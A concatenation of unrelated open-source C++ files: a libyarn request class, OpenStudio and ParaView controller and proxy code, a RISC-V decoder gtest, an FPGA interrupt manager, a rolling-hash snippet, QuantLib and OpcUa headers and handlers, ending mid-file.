RegisterApplicationMasterRequestProto &proto) : requestProto(proto) { } RegisterApplicationMasterRequest::~RegisterApplicationMasterRequest() { } RegisterApplicationMasterRequestProto& RegisterApplicationMasterRequest::getProto(){ return requestProto; } void RegisterApplicationMasterRequest::setHost(string &host) { requestProto.set_host(host); } string RegisterApplicationMasterRequest::getHost() { return requestProto.host(); } void RegisterApplicationMasterRequest::setRpcPort(int32_t port) { requestProto.set_rpc_port(port); } int32_t RegisterApplicationMasterRequest::getRpcPort() { return requestProto.rpc_port(); } void RegisterApplicationMasterRequest::setTrackingUrl(string &url) { requestProto.set_tracking_url(url); } string RegisterApplicationMasterRequest::getTrackingUrl() { return requestProto.tracking_url(); } } /* namespace libyarn */
1,977
547
/*********************************************************************************************************************** * OpenStudio(R), Copyright (c) 2008-2019, Alliance for Sustainable Energy, LLC, and other contributors. All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the * following conditions are met: * * (1) Redistributions of source code must retain the above copyright notice, this list of conditions and the following * disclaimer. * * (2) Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials provided with the distribution. * * (3) Neither the name of the copyright holder nor the names of any contributors may be used to endorse or promote products * derived from this software without specific prior written permission from the respective party. * * (4) Other than as required in clauses (1) and (2), distributions in any form of modifications or other derivative works * may not use the "OpenStudio" trademark, "OS", "os", or any other confusingly similar designation without specific prior * written permission from Alliance for Sustainable Energy, LLC. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER(S) AND ANY CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER(S), ANY CONTRIBUTORS, THE UNITED STATES GOVERNMENT, OR THE UNITED * STATES DEPARTMENT OF ENERGY, NOR ANY OF THEIR EMPLOYEES, BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ***********************************************************************************************************************/ #include "ConstructionsController.hpp" #include "ConstructionsView.hpp" #include "../model/CFactorUndergroundWallConstruction.hpp" #include "../model/Component.hpp" #include "../model/Component_Impl.hpp" #include "../model/ComponentData.hpp" #include "../model/ComponentData_Impl.hpp" #include "../model/Construction.hpp" #include "../model/ConstructionBase.hpp" #include "../model/ConstructionBase_Impl.hpp" #include "../model/ConstructionWithInternalSource.hpp" #include "../model/DefaultConstructionSet.hpp" #include "../model/DefaultConstructionSet_Impl.hpp" #include "../model/FFactorGroundFloorConstruction.hpp" #include "../model/WindowDataFile.hpp" #include "../utilities/core/Logger.hpp" #include <utilities/idd/IddEnums.hxx> namespace openstudio { ConstructionsController::ConstructionsController(bool isIP, const model::Model& model) : ModelSubTabController(new ConstructionsView(isIP,model), model) { } ConstructionsController::~ConstructionsController() { } void ConstructionsController::onAddObject(const openstudio::IddObjectType& iddObjectType) { switch(iddObjectType.value()){ case IddObjectType::OS_Construction: openstudio::model::Construction(this->model()); break; case IddObjectType::OS_Construction_InternalSource: openstudio::model::ConstructionWithInternalSource(this->model()); break; case IddObjectType::OS_Construction_CfactorUndergroundWall: openstudio::model::CFactorUndergroundWallConstruction(this->model()); break; case IddObjectType::OS_Construction_FfactorGroundFloor: openstudio::model::FFactorGroundFloorConstruction(this->model()); break; case IddObjectType::OS_Construction_WindowDataFile: openstudio::model::WindowDataFile(this->model()); break; default: LOG_FREE_AND_THROW("ConstructionsController", "Unknown IddObjectType '" << iddObjectType.valueName() << "'"); } } void ConstructionsController::onCopyObject(const openstudio::model::ModelObject& modelObject) { modelObject.clone(this->model()); } void ConstructionsController::onRemoveObject(openstudio::model::ModelObject modelObject) { modelObject.remove(); } void ConstructionsController::onReplaceObject(openstudio::model::ModelObject modelObject, const OSItemId& replacementItemId) { // not yet implemented } void ConstructionsController::onPurgeObjects(const openstudio::IddObjectType& iddObjectType) { this->model().purgeUnusedResourceObjects(iddObjectType); } void ConstructionsController::onDrop(const OSItemId& itemId) { boost::optional<model::ModelObject> modelObject = this->getModelObject(itemId); if (modelObject){ if(modelObject->optionalCast<model::ConstructionBase>()){ if (this->fromComponentLibrary(itemId)){ modelObject = modelObject->clone(this->model()); } } }else{ boost::optional<model::Component> component = this->getComponent(itemId); if (component){ if (component->primaryObject().optionalCast<model::ModelObject>()){ this->model().insertComponent(*component); } } } } void ConstructionsController::onInspectItem(OSItem* item) { } } // openstudio
5,461
1,669
#include <stdint.h> #include <stdlib.h> #include <gtest/gtest.h> #include "Vdecoder.h" #include "verilated.h" #include "riscv.h" #include "decoder_tb.h" const static int NUM_INSTRUCTIONS = 37; struct control_signals_t { std::string instr; uint32_t (*gen_instr)(); int alu_op; int a_src; int b_src; int b_neg; int mem_w; int reg_w; int next_pc; int wb_src; int shift_type; }; struct control_signals_t CONTROL_SIGNAL_TABLE[NUM_INSTRUCTIONS] = { // Instr ALUop Asrc Bsrc Bneg MemW RegW NextPc WBsrc ShiftType {"LUI", rv_lui, ALU_OP_ADD, A_SRC_RS1, B_SRC_IMM, 0, 0, 1, NEXT_PC_INC, WB_SRC_ALU, -1}, {"AUIPC", rv_auipc, ALU_OP_ADD, A_SRC_PC, B_SRC_IMM, 0, 0, 1, NEXT_PC_INC, WB_SRC_ALU, -1}, {"JAL", rv_jal, ALU_OP_AND, A_SRC_RS1, -1, -1, 0, 1, NEXT_PC_BR0, WB_SRC_PC, -1}, {"JALR", rv_jalr, ALU_OP_ADD, A_SRC_RS1, B_SRC_IMM, 0, 0, 1, NEXT_PC_ALU, WB_SRC_PC, -1}, {"BEQ", rv_beq, ALU_OP_XOR, A_SRC_RS1, B_SRC_RS2, 0, 0, 0, NEXT_PC_BR0, -1, -1}, {"BNE", rv_bne, ALU_OP_XOR, A_SRC_RS1, B_SRC_RS2, 0, 0, 0, NEXT_PC_BR1, -1, -1}, {"BLT", rv_blt, ALU_OP_CMP, A_SRC_RS1, B_SRC_RS2, 0, 0, 0, NEXT_PC_BR1, -1, -1}, {"BGE", rv_bge, ALU_OP_CMP, A_SRC_RS1, B_SRC_RS2, 0, 0, 0, NEXT_PC_BR0, -1, -1}, {"BLTU", rv_bltu, ALU_OP_CMPU, A_SRC_RS1, B_SRC_RS2, 0, 0, 0, NEXT_PC_BR1, -1, -1}, {"BGEU", rv_bgeu, ALU_OP_CMPU, A_SRC_RS1, B_SRC_RS2, 0, 0, 0, NEXT_PC_BR0, -1, -1}, {"LB", rv_lb, ALU_OP_ADD, A_SRC_RS1, B_SRC_IMM, 0, 0, 1, NEXT_PC_INC, WB_SRC_MEM, -1}, {"LH", rv_lh, ALU_OP_ADD, A_SRC_RS1, B_SRC_IMM, 0, 0, 1, NEXT_PC_INC, WB_SRC_MEM, -1}, {"LW", rv_lw, ALU_OP_ADD, A_SRC_RS1, B_SRC_IMM, 0, 0, 1, NEXT_PC_INC, WB_SRC_MEM, -1}, {"LBU", rv_lbu, ALU_OP_ADD, A_SRC_RS1, B_SRC_IMM, 0, 0, 1, NEXT_PC_INC, WB_SRC_MEM, -1}, {"LHU", rv_lhu, ALU_OP_ADD, A_SRC_RS1, B_SRC_IMM, 0, 0, 1, NEXT_PC_INC, WB_SRC_MEM, -1}, {"SB", rv_sb, ALU_OP_ADD, A_SRC_RS1, B_SRC_IMM, 0, 1, 0, NEXT_PC_INC, -1, -1}, {"SH", rv_sh, ALU_OP_ADD, A_SRC_RS1, B_SRC_IMM, 0, 1, 0, NEXT_PC_INC, -1, -1}, {"SW", rv_sw, ALU_OP_ADD, A_SRC_RS1, B_SRC_IMM, 0, 1, 0, NEXT_PC_INC, -1, -1}, {"ADDI", rv_addi, ALU_OP_ADD, A_SRC_RS1, B_SRC_IMM, 0, 0, 1, NEXT_PC_INC, WB_SRC_ALU, -1}, {"SLTI", rv_slti, ALU_OP_CMP, A_SRC_RS1, B_SRC_IMM, 0, 0, 1, NEXT_PC_INC, WB_SRC_ALU, -1}, {"SLTIU", rv_sltiu, ALU_OP_CMPU, A_SRC_RS1, B_SRC_IMM, 0, 0, 1, NEXT_PC_INC, WB_SRC_ALU, -1}, {"XORI", rv_xori, ALU_OP_XOR, A_SRC_RS1, B_SRC_IMM, 0, 0, 1, NEXT_PC_INC, WB_SRC_ALU, -1}, {"ORI", rv_ori, ALU_OP_OR, A_SRC_RS1, B_SRC_IMM, 0, 0, 1, NEXT_PC_INC, WB_SRC_ALU, -1}, {"ANDI", rv_andi, ALU_OP_AND, A_SRC_RS1, B_SRC_IMM, 0, 0, 1, NEXT_PC_INC, WB_SRC_ALU, -1}, {"SLLI", rv_slli, ALU_OP_SHL, A_SRC_RS1, B_SRC_IMM, 0, 0, 1, NEXT_PC_INC, WB_SRC_ALU, -1}, {"SRLI", rv_srli, ALU_OP_SHR, A_SRC_RS1, B_SRC_IMM, 0, 0, 1, NEXT_PC_INC, WB_SRC_ALU, 1}, {"SRAI", rv_srai, ALU_OP_SHR, A_SRC_RS1, B_SRC_IMM, 0, 0, 1, NEXT_PC_INC, WB_SRC_ALU, 0}, {"ADD", rv_add, ALU_OP_ADD, A_SRC_RS1, B_SRC_RS2, 0, 0, 1, NEXT_PC_INC, WB_SRC_ALU, -1}, {"SUB", rv_sub, ALU_OP_ADD, A_SRC_RS1, B_SRC_RS2, 1, 0, 1, NEXT_PC_INC, WB_SRC_ALU, -1}, {"SLL", rv_sll, ALU_OP_SHL, A_SRC_RS1, B_SRC_RS2, 0, 0, 1, NEXT_PC_INC, WB_SRC_ALU, -1}, {"SLT", rv_slt, ALU_OP_CMP, A_SRC_RS1, B_SRC_RS2, 0, 0, 1, NEXT_PC_INC, WB_SRC_ALU, -1}, {"SLTU", rv_sltu, ALU_OP_CMPU, A_SRC_RS1, B_SRC_RS2, 0, 0, 1, NEXT_PC_INC, WB_SRC_ALU, -1}, {"XOR", rv_xor, ALU_OP_XOR, A_SRC_RS1, B_SRC_RS2, 0, 0, 1, NEXT_PC_INC, WB_SRC_ALU, -1}, {"SRL", rv_srl, ALU_OP_SHR, A_SRC_RS1, B_SRC_RS2, 0, 0, 1, NEXT_PC_INC, WB_SRC_ALU, 1}, {"SRA", rv_sra, ALU_OP_SHR, A_SRC_RS1, B_SRC_RS2, 0, 0, 1, NEXT_PC_INC, WB_SRC_ALU, 0}, {"OR", rv_or, ALU_OP_OR, A_SRC_RS1, B_SRC_RS2, 0, 0, 1, NEXT_PC_INC, WB_SRC_ALU, -1}, {"AND", rv_and, ALU_OP_AND, A_SRC_RS1, B_SRC_RS2, 0, 0, 1, NEXT_PC_INC, WB_SRC_ALU, -1}, }; class DecoderTest : public ::testing::Test { protected: void SetUp() override { tb = new Vdecoder; } void TearDown() override { delete tb; } Vdecoder *tb; }; TEST_F(DecoderTest, ControlSignals) { for (int i = 0; i < NUM_INSTRUCTIONS; i++) { auto ctrlsigs = CONTROL_SIGNAL_TABLE[i]; uint32_t instr = ctrlsigs.gen_instr(); auto name = ctrlsigs.instr; tb->instr_i = instr; tb->eval(); EXPECT_EQ(tb->illegal_instr_o, 0); if (ctrlsigs.alu_op != -1) EXPECT_EQ(tb->alu_op_o, ctrlsigs.alu_op) << "ALUOp incorrect for instruction " << name; if (ctrlsigs.a_src != -1) EXPECT_EQ(tb->a_src_o, ctrlsigs.a_src) << "Asrc incorrect for instruction " << name; if (ctrlsigs.b_src != -1) EXPECT_EQ(tb->b_src_o, ctrlsigs.b_src) << "Bsrc incorrect for instruction " << name; if (ctrlsigs.b_neg != -1) EXPECT_EQ(tb->negate_b_o, ctrlsigs.b_neg) << "NegateB incorrect for instruction " << name; if (ctrlsigs.mem_w != -1) EXPECT_EQ(tb->mem_w_o, ctrlsigs.mem_w) << "MemW incorrect for instruction " << name; if (ctrlsigs.reg_w != -1) EXPECT_EQ(tb->reg_w_o, ctrlsigs.reg_w) << "RegW incorrect for instruction " << name; if (ctrlsigs.next_pc != -1) EXPECT_EQ(tb->next_pc_o, ctrlsigs.next_pc) << "NextPC incorrect for instruction " << name; if (ctrlsigs.wb_src != -1) EXPECT_EQ(tb->wb_src_o, ctrlsigs.wb_src) << "WBsrc incorrect for instruction " << name; } } TEST_F(DecoderTest, IllegalInstruction) { tb->instr_i = 0x0; tb->eval(); EXPECT_EQ(tb->illegal_instr_o, 1); tb->instr_i = rv_and() | (1 << 30); // AND w/ a twist tb->eval(); EXPECT_EQ(tb->illegal_instr_o, 1); } TEST_F(DecoderTest, ExtractRs1) { // Regression test for silly bug where I mixed up jal and jalr when refactoring // decoder. Would be nice to include rs1 gating in main control signals test, // but not sure of super clean way to do it. tb->instr_i = rv_jalr(0, 1, 0); // jalr w/ rs1 = 1 tb->eval(); EXPECT_EQ(tb->rs1_o, 1); tb->instr_i = rv_jal() | (1 << 15); tb->eval(); EXPECT_EQ(tb->rs1_o, 0); } TEST_F(DecoderTest, System) { // System instructions don't really take advantage of the same control signals, // so cleanest to test them individually. tb->instr_i = rv_fence(); tb->eval(); EXPECT_EQ(tb->nop_o, 1); EXPECT_EQ(tb->ebreak_o, 0); EXPECT_EQ(tb->ecall_o, 0); EXPECT_EQ(tb->mret_o, 0); tb->instr_i = rv_fence_i(); tb->eval(); EXPECT_EQ(tb->nop_o, 1); EXPECT_EQ(tb->ebreak_o, 0); EXPECT_EQ(tb->ecall_o, 0); EXPECT_EQ(tb->mret_o, 0); tb->instr_i = rv_wfi(); tb->eval(); EXPECT_EQ(tb->nop_o, 1); EXPECT_EQ(tb->ebreak_o, 0); EXPECT_EQ(tb->ecall_o, 0); EXPECT_EQ(tb->mret_o, 0); tb->instr_i = rv_ecall(); tb->eval(); EXPECT_EQ(tb->ecall_o, 1); EXPECT_EQ(tb->ebreak_o, 0); EXPECT_EQ(tb->mret_o, 0); EXPECT_EQ(tb->nop_o, 0); tb->instr_i = rv_ebreak(); tb->eval(); EXPECT_EQ(tb->ebreak_o, 1); EXPECT_EQ(tb->ecall_o, 0); EXPECT_EQ(tb->mret_o, 0); EXPECT_EQ(tb->nop_o, 0); tb->instr_i = rv_mret(); tb->eval(); EXPECT_EQ(tb->mret_o, 1); EXPECT_EQ(tb->ecall_o, 0); EXPECT_EQ(tb->ebreak_o, 0); EXPECT_EQ(tb->nop_o, 0); }
7,632
4,256
/* -*-mode:c++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ #include <string> #include <vector> #include "thunk/thunk.hh" #include "thunk/thunk_reader.hh" #include "util/exception.hh" #include "util/path.hh" #include "util/system_runner.hh" #include "util/util.hh" using namespace std; using namespace gg::thunk; void usage( const char * argv0 ) { cerr << argv0 << " TEST-BINARY TEST-NAME" << endl; } class TempSymlink { private: roost::path linkpath_; public: TempSymlink( const roost::path & target, const roost::path & linkpath ) : linkpath_( linkpath ) { roost::symlink( target, linkpath ); } ~TempSymlink() { try { roost::remove( linkpath_ ); } catch ( const exception & e ) { print_exception( "TempSymlink", e ); } } }; int main( int argc, char * argv [] ) { try { if ( argc <= 0 ) { abort(); } if ( argc != 3 ) { usage( argv[ 0 ] ); return EXIT_FAILURE; } if ( getenv( "__GG_ENABLED__" ) == nullptr ) { throw runtime_error( "gg is not enabled" ); } const roost::path thunk_path = safe_getenv( "__GG_THUNK_PATH__" ); const roost::path gg_path = safe_getenv( "__GG_DIR__" ); const Thunk thunk = ThunkReader::read( thunk_path ); vector<TempSymlink> symlinks; symlinks.reserve( thunk.values().size() ); /* (1) let's create the necessary symlinks */ for ( const auto & value : thunk.values() ) { if ( value.second.length() > 0 ) { if ( value.second.find( '/' ) != string::npos ) { throw runtime_error( "paths are not supported yet" ); } symlinks.emplace_back( gg_path / value.first, value.second ); } } /* (2) run the test */ const string test_binary { argv[ 1 ] }; const string test_name { argv[ 2 ] }; const string output_name { "output" }; vector<string> all_args { argv[ 1 ] }; all_args.push_back( "--gtest_filter=" + test_name ); all_args.push_back( "--gtest_output=json:" + output_name ); all_args.push_back( "--gtest_color=no" ); run( all_args[ 0 ], all_args, {}, true, false ); } catch ( const exception & e ) { print_exception( argv[ 0 ], e ); return EXIT_FAILURE; } return EXIT_SUCCESS; }
2,261
852
#include <ChipObject/tInterruptManager.h> #include <stdio.h> #ifndef __NI_CRITICAL_SECTION #define __NI_CRITICAL_SECTION #include <OSAL/Synchronized.h> class ni::dsc::osdep::CriticalSection { public: NTReentrantSemaphore sem; }; #endif #include <OSAL/Task.h> namespace nFPGA { uint32_t tInterruptManager::_globalInterruptMask = 0; ni::dsc::osdep::CriticalSection *tInterruptManager::_globalInterruptMaskSemaphore = new ni::dsc::osdep::CriticalSection(); tInterruptManager::tInterruptManager(uint32_t interruptMask, bool watcher, tRioStatusCode *status) : tSystem(status){ this->_interruptMask = interruptMask; this->_watcher = watcher; this->_enabled = false; this->_handler = NULL; *status = NiFpga_Status_Success; if (!watcher) { enable(status); } } tInterruptManager::~tInterruptManager() { } class tInterruptManager::tInterruptThread { private: friend class tInterruptManager; NTTask task; static DWORD WINAPI invokeInternal(LPVOID param){ return tInterruptManager::handlerWrapper((tInterruptManager*) param); } tInterruptThread() : task("Interruptwaiter", &tInterruptThread::invokeInternal) { } }; void tInterruptManager::registerHandler(tInterruptHandler handler, void *param, tRioStatusCode *status) { this->_handler = handler; this->_userParam = param; *status = NiFpga_Status_Success; } uint32_t tInterruptManager::watch(int32_t timeoutInMs, tRioStatusCode *status) { if (timeoutInMs == NiFpga_InfiniteTimeout) { timeoutInMs = INFINITE; } NiFpga_WaitOnIrqs(_DeviceHandle, NULL, _interruptMask, timeoutInMs, NULL, NULL); return 0;// wth guys. plz explain } void tInterruptManager::enable(tRioStatusCode *status){ *status = NiFpga_Status_Success; reserve(status); bool old = this->_enabled; this->_enabled = true; if (old) { this->_thread->task.Stop(); } this->_thread = new tInterruptThread(); this->_thread->task.Start(this); } void tInterruptManager::disable(tRioStatusCode *status){ *status = NiFpga_Status_Success; unreserve(status); bool old = this->_enabled; this->_enabled = false; if (old) { this->_thread->task.Stop(); } } bool tInterruptManager::isEnabled(tRioStatusCode *status){ *status = NiFpga_Status_Success; return this->_enabled; } void tInterruptManager::handler(){ // Don't use this. It is stupid. Doesn't provide irqsAsserted } /// Background task to wait on the IRQ signal until seen, then call the handler. int tInterruptManager::handlerWrapper(tInterruptManager *pInterrupt){ while (pInterrupt->_enabled) { NiFpga_Bool failed = false; uint32_t irqsAsserted = pInterrupt->_interruptMask; NiFpga_WaitOnIrqs(_DeviceHandle, NULL, pInterrupt->_interruptMask, INFINITE, &irqsAsserted, &failed); // Wait until interrupted if (!failed && pInterrupt->_handler!=NULL) { pInterrupt->_handler(irqsAsserted, pInterrupt->_userParam); // Notify whomever subscribed } } return 0; // No error, right? Right. } void tInterruptManager::acknowledge(tRioStatusCode *status){ // Supposed to tell the IRQ manager that this successfully processed the IRQ. But that is difficult } void tInterruptManager::reserve(tRioStatusCode *status){ tInterruptManager::_globalInterruptMaskSemaphore->sem.take(); if ((tInterruptManager::_globalInterruptMask & this->_interruptMask) > 0) { *status = NiFpga_Status_AccessDenied; // You derped printf("Interrupt already in use!\n"); tInterruptManager::_globalInterruptMaskSemaphore->sem.give(); return; } tInterruptManager::_globalInterruptMask |= this->_interruptMask; *status = NiFpga_Status_Success; tInterruptManager::_globalInterruptMaskSemaphore->sem.give(); } void tInterruptManager::unreserve(tRioStatusCode *status){ tInterruptManager::_globalInterruptMaskSemaphore->sem.take(); tInterruptManager::_globalInterruptMask &= ~this->_interruptMask; tInterruptManager::_globalInterruptMaskSemaphore->sem.give(); *status = NiFpga_Status_Success; } }
4,001
1,496
#ifndef MRT_SYSTEM_SYSUTIL_HPP_ #define MRT_SYSTEM_SYSUTIL_HPP_ #include <iostream> namespace mrt { namespace system { void pause() { const auto old_flags = std::cin.flags(); char wait_char; std::cin.setf(old_flags & ~std::ios_base::skipws); std::cout << "Press any key to continue..." << std::endl; std::cin >> std::noskipws >> wait_char; std::cin.setf(old_flags); } } } #endif // MRT_SYSTEM_SYSUTIL_HPP_
483
186
#include<bits/stdc++.h> using namespace std; typedef unsigned long long ull; typedef long long ll; int gen_base(const int bef,const int aft) { auto seed = chrono::high_resolution_clock::now().time_since_epoch().count(); mt19937 mt_rand(seed); int base=uniform_int_distribution<int>(bef+1,aft)(mt_rand); return base%2==0? base-1 : base; } struct rollhash { static const int mod = (int)1e9+123; // mod vector<ll>pref1; // hash by mod vector<ull>pref2; // hash by 2^64 static vector<ll>pow1; // pow of base by mod static vector<ull>pow2; // pow of base by 2^64 static int base; // base of hash inline void init(const string& s) { pref1.push_back(0); pref2.push_back(0); int n=s.length(); while((int)pow1.size()<=n) { pow1.push_back((1ll*pow1.back()*base)%mod); pow2.push_back(pow2.back()*base); } for(int i=0; i<n; i++) { assert(base>s[i]); pref1.push_back((pref1[i]+1ll*(s[i]*pow1[i]))%mod); pref2.push_back(pref2[i]+(s[i]*pow2[i])); } } inline pair<ll,ull> operator()(const int pos,const int len,const int mxpow=0)const{ ll hash1=pref1[pos+len]-pref1[pos]; ull hash2=pref2[pos+len]-pref2[pos]; if(hash1<0) hash1+=mod; if(mxpow) { hash1=(1ll*hash1*pow1[mxpow-pos-len+1])%mod; hash2=hash2*pow2[mxpow-pos-len+1]; } return make_pair(hash1,hash2); } }; int rollhash::base((int)1e9+7); vector<ll> rollhash::pow1{1}; vector<ull> rollhash::pow2{1u}; int main() { return 0; }
1,665
682
/* -*- mode: c++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* Copyright (C) 2006 Ferdinando Ametrano Copyright (C) 2006 StatPro Italia srl Copyright (C) 2012 Peter Caspers This file is part of QuantLib, a free-software/open-source library for financial quantitative analysts and developers - http://quantlib.org/ QuantLib is free software: you can redistribute it and/or modify it under the terms of the QuantLib license. You should have received a copy of the license along with this program; if not, please email <quantlib-dev@lists.sf.net>. The license is also available online at <http://quantlib.org/license.shtml>. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the license for more details. */ #ifndef quantlib_test_market_model_hpp #define quantlib_test_market_model_hpp #include <ql/qldefines.hpp> #include <boost/test/unit_test.hpp> #include "speedlevel.hpp" /* remember to document new and/or updated tests in the Doxygen comment block of the corresponding class */ class MarketModelTest { public: enum MarketModelType { ExponentialCorrelationFlatVolatility, ExponentialCorrelationAbcdVolatility/*, CalibratedMM*/ }; static void testInverseFloater(); static void testPeriodAdapter(); static void testAllMultiStepProducts(); static void testOneStepForwardsAndOptionlets(); static void testOneStepNormalForwardsAndOptionlets(); static void testCallableSwapNaif(); static void testCallableSwapLS(); static void testCallableSwapAnderson( MarketModelType marketModel, unsigned testedFactor); static void testGreeks(); static void testPathwiseGreeks(); static void testPathwiseVegas(); static void testPathwiseMarketVegas(); static void testStochVolForwardsAndOptionlets(); static void testAbcdVolatilityIntegration(); static void testAbcdVolatilityCompare(); static void testAbcdVolatilityFit(); static void testDriftCalculator(); static void testIsInSubset(); static void testAbcdDegenerateCases(); static void testCovariance(); static boost::unit_test_framework::test_suite* suite(SpeedLevel); }; #endif
2,307
695
/* Copyright 2017 Kai Huebl (kai@huebl-sgh.de) Lizenziert gemäß Apache Licence Version 2.0 (die „Lizenz“); Nutzung dieser Datei nur in Übereinstimmung mit der Lizenz erlaubt. Eine Kopie der Lizenz erhalten Sie auf http://www.apache.org/licenses/LICENSE-2.0. Sofern nicht gemäß geltendem Recht vorgeschrieben oder schriftlich vereinbart, erfolgt die Bereitstellung der im Rahmen der Lizenz verbreiteten Software OHNE GEWÄHR ODER VORBEHALTE – ganz gleich, ob ausdrücklich oder stillschweigend. Informationen über die jeweiligen Bedingungen für Genehmigungen und Einschränkungen im Rahmen der Lizenz finden Sie in der Lizenz. Autor: Kai Huebl (kai@huebl-sgh.de) */ #include <OpcUaStackCore/EventType/EventHandler.h> #include "OpcUaStackCore/Base/Log.h" namespace OpcUaStackCore { EventHandler::EventHandler(void) : EventHandlerBase() , callback_() { } EventHandler::~EventHandler(void) { } void EventHandler::callback(Callback& callback) { callback_ = callback; } Callback& EventHandler::callback(void) { return callback_; } // ------------------------------------------------------------------------ // ------------------------------------------------------------------------ // // interface EventHandlerBase // // ------------------------------------------------------------------------ // ------------------------------------------------------------------------ bool EventHandler::fireEvent(OpcUaNodeId& nodeId, EventBase::SPtr& eventBase) { if (!callback_.exist()) { return false; } callback_(eventBase); return true; } }
1,609
528
/*========================================================================= Program: ParaView Module: vtkSMGlobalPropertiesProxy.cxx Copyright (c) Kitware, Inc. All rights reserved. See Copyright.txt or http://www.paraview.org/HTML/Copyright.html for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notice for more information. =========================================================================*/ #include "vtkSMGlobalPropertiesProxy.h" #include "vtkCommand.h" #include "vtkObjectFactory.h" #include "vtkPVXMLElement.h" #include "vtkSMProperty.h" #include "vtkSMProxyLocator.h" #include "vtkWeakPointer.h" #include <list> #include <map> class vtkSMGlobalPropertiesProxy::vtkInternals { public: class vtkValue { public: vtkWeakPointer<vtkSMProxy> Proxy; std::string PropertyName; unsigned long ObserverId; vtkValue() : ObserverId(0) { } void RemoveObserver() { vtkSMProperty* prop = this->Proxy ? this->Proxy->GetProperty(this->PropertyName.c_str()) : NULL; if (prop && this->ObserverId > 0) { prop->RemoveObserver(this->ObserverId); } this->ObserverId = 0; } }; typedef std::list<vtkValue> VectorOfValues; typedef std::map<std::string, VectorOfValues> LinksType; LinksType Links; bool Updating; vtkInternals() : Updating(false) { } }; vtkStandardNewMacro(vtkSMGlobalPropertiesProxy); //---------------------------------------------------------------------------- vtkSMGlobalPropertiesProxy::vtkSMGlobalPropertiesProxy() { this->Internals = new vtkSMGlobalPropertiesProxy::vtkInternals(); this->SetLocation(0); this->PrototypeOn(); } //---------------------------------------------------------------------------- vtkSMGlobalPropertiesProxy::~vtkSMGlobalPropertiesProxy() { this->RemoveAllLinks(); delete this->Internals; this->Internals = NULL; } //---------------------------------------------------------------------------- void vtkSMGlobalPropertiesProxy::RemoveAllLinks() { vtkInternals::LinksType::iterator mapIter; for (mapIter = this->Internals->Links.begin(); mapIter != this->Internals->Links.end(); ++mapIter) { vtkInternals::VectorOfValues::iterator listIter; for (listIter = mapIter->second.begin(); listIter != mapIter->second.end(); ++listIter) { listIter->RemoveObserver(); } } this->Internals->Links.clear(); } //---------------------------------------------------------------------------- bool vtkSMGlobalPropertiesProxy::Link( const char* globalPropertyName, vtkSMProxy* proxy, const char* propname) { if (!globalPropertyName || !proxy || !propname) { vtkErrorMacro("Incorrect arguments."); return false; } if (!proxy->GetProperty(propname)) { vtkErrorMacro("Incorrect target property name: " << propname); return false; } if (!this->GetProperty(globalPropertyName)) { vtkErrorMacro("Incorrect source property name:" << globalPropertyName); return false; } // avoid double linking. if (const char* oldname = this->GetLinkedPropertyName(proxy, propname)) { if (strcmp(oldname, globalPropertyName) == 0) { return true; } this->Unlink(oldname, proxy, propname); } // Copy current value. vtkSMProperty* targetProp = proxy->GetProperty(propname); vtkSMProperty* globalProperty = this->GetProperty(globalPropertyName); targetProp->Copy(globalProperty); proxy->UpdateVTKObjects(); vtkInternals::vtkValue value; value.Proxy = proxy; value.PropertyName = propname; value.ObserverId = targetProp->AddObserver( vtkCommand::ModifiedEvent, this, &vtkSMGlobalPropertiesProxy::TargetPropertyModified); this->Internals->Links[globalPropertyName].push_back(value); // FIXME: is this relevant? // if (proxy->GetObjectsCreated()) // { // // This handles the case when the proxy hasn't been created yet (which // // happens when reviving servermanager on the server side. // proxy->UpdateVTKObjects(); // } // If we ever want to bring undo-redo support back. // ModifiedInfo info; // info.AddLink = true; // info.GlobalPropertyName = globalPropertyName; // info.PropertyName = propname; // info.Proxy = proxy; // this->InvokeEvent(vtkSMGlobalPropertiesProxy::GlobalPropertyLinkModified, &info); return true; } //---------------------------------------------------------------------------- bool vtkSMGlobalPropertiesProxy::Unlink( const char* globalPropertyName, vtkSMProxy* proxy, const char* propname) { vtkInternals::VectorOfValues& values = this->Internals->Links[globalPropertyName]; vtkInternals::VectorOfValues::iterator listIter; for (listIter = values.begin(); listIter != values.end(); ++listIter) { if (listIter->Proxy == proxy && listIter->PropertyName == propname) { listIter->RemoveObserver(); values.erase(listIter); return true; } } return false; // If we ever want to bring undo-redo support back. // ModifiedInfo info; // info.AddLink = false; // info.GlobalPropertyName = globalPropertyName; // info.PropertyName = propname; // info.Proxy = proxy; // this->InvokeEvent(vtkSMGlobalPropertiesProxy::GlobalPropertyLinkModified, &info); } //---------------------------------------------------------------------------- const char* vtkSMGlobalPropertiesProxy::GetLinkedPropertyName( vtkSMProxy* proxy, const char* propname) { vtkInternals::LinksType::iterator mapIter; for (mapIter = this->Internals->Links.begin(); mapIter != this->Internals->Links.end(); ++mapIter) { vtkInternals::VectorOfValues::iterator listIter; for (listIter = mapIter->second.begin(); listIter != mapIter->second.end(); ++listIter) { if (listIter->Proxy == proxy && listIter->PropertyName == propname) { return mapIter->first.c_str(); } } } return NULL; } //---------------------------------------------------------------------------- void 